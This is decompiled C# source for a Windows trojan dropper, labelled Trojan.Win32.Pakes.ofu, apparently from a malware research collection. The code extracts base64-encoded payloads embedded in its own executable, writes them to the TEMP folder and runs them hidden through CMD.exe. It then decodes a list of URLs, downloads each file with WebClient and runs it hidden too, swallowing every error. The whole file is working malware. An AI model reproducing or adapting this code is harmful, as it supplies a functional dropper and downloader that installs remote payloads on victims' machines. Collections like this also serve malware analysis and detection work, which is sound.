MalwareSourceCode/MSIL/Trojan/Win32/P/Trojan.Win32.Pakes.ofu-873a343cb63109941836b54a86a0bc4309b1ed0f7b6f17e1cb45a08be013d73e/C.cs

// Decompiled with JetBrains decompiler
// Type: n.C
// Assembly: g, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: BF8D38A2-3CA7-4EC1-9420-BC56FCE07E26
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.Win32.Pakes.ofu-873a343cb63109941836b54a86a0bc4309b1ed0f7b6f17e1cb45a08be013d73e.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using System;
using System.Collections;
using System.Net;
using System.Text;

namespace n
{
  public class C
  {
    [STAThread]
    public static void main()
    {
      string str1 = "CMD.exe /k start %TEMP%\\";
      string Expression1 = "TEMP";
      try
      {
        C c1 = new C();
        Array Instance1 = (Array) Strings.Split(System.IO.File.ReadAllText(AppDomain.CurrentDomain.FriendlyName), "**");
        Array Instance2 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
        {
          (object) 1
        }, (string[]) null)), "&");
        Array Instance3 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
        {
          (object) 0
        }, (string[]) null)), "\r\n");
        Array Instance4 = (Array) Strings.Split(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, new object[1]
        {
          (object) 1
        }, (string[]) null)), "\r\n");
        int num1 = checked (Instance4.Length - 2);
        int num2 = 0;
        while (num2 <= num1)
        {
          try
          {
            System.IO.File.WriteAllBytes(Conversions.ToString(Operators.ConcatenateObject((object) (Interaction.Environ(Expression1) + "\\" + Conversions.ToString(num2) + "."), NewLateBinding.LateIndexGet((object) Instance3, new object[1]
            {
              (object) num2
            }, (string[]) null))), c1.v(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance4, new object[1]
            {
              (object) num2
            }, (string[]) null))));
            Interaction.Shell(Conversions.ToString(Operators.ConcatenateObject((object) (str1 + Conversions.ToString(num2) + "."), NewLateBinding.LateIndexGet((object) Instance3, new object[1]
            {
              (object) num2
            }, (string[]) null))), AppWinStyle.Hide);
          }
          catch (Exception ex)
          {
            ProjectData.SetProjectError(ex);
            ProjectData.ClearProjectError();
          }
          checked { ++num2; }
        }
        if (Operators.CompareString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
        {
          (object) 2
        }, (string[]) null).ToString(), "^", false) == 0)
          return;
        C c2 = c1;
        Array Instance5 = Instance1;
        object[] objArray1 = new object[1];
        object[] objArray2 = objArray1;
        int num3 = 2;
        // ISSUE: variable of a boxed type
        __Boxed<int> local1 = (ValueType) num3;
        objArray2[0] = (object) local1;
        object[] Arguments = objArray1;
        string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance5, Arguments, (string[]) null));
        ref string local2 = ref str2;
        string Expression2 = c2.t(ref local2);
        NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
        {
          (object) num3,
          (object) str2
        }, (string[]) null, true, false);
        Array array = (Array) Strings.Split(Expression2, "\r\n");
        int num4 = 0;
        try
        {
          foreach (object obj in array)
          {
            string str3 = Conversions.ToString(obj);
            try
            {
              if (Operators.CompareString(str3, "", false) == 0)
                ProjectData.EndApp();
              Array Instance6 = (Array) Strings.Split(str3, ".");
              new WebClient().DownloadFile(str3, Conversions.ToString(Operators.ConcatenateObject((object) (Interaction.Environ(Expression1) + "\\F" + Conversions.ToString(num4) + "."), NewLateBinding.LateIndexGet((object) Instance6, new object[1]
              {
                (object) checked (Instance6.Length - 1)
              }, (string[]) null))));
              Interaction.Shell(Conversions.ToString(Operators.ConcatenateObject((object) (str1 + "F" + Conversions.ToString(num4) + "."), NewLateBinding.LateIndexGet((object) Instance6, new object[1]
              {
                (object) checked (Instance6.Length - 1)
              }, (string[]) null))), AppWinStyle.Hide);
              checked { ++num4; }
            }
            catch (Exception ex)
            {
              ProjectData.SetProjectError(ex);
              ProjectData.ClearProjectError();
            }
          }
        }
        finally
        {
          IEnumerator enumerator;
          if (enumerator is IDisposable)
            (enumerator as IDisposable).Dispose();
        }
      }
      catch (Exception ex)
      {
        ProjectData.SetProjectError(ex);
        ProjectData.ClearProjectError();
      }
    }

    public byte[] v(string s) => Convert.FromBase64String(s);

    public string t(ref string s) => Encoding.UTF8.GetString(Convert.FromBase64String(s));
  }
}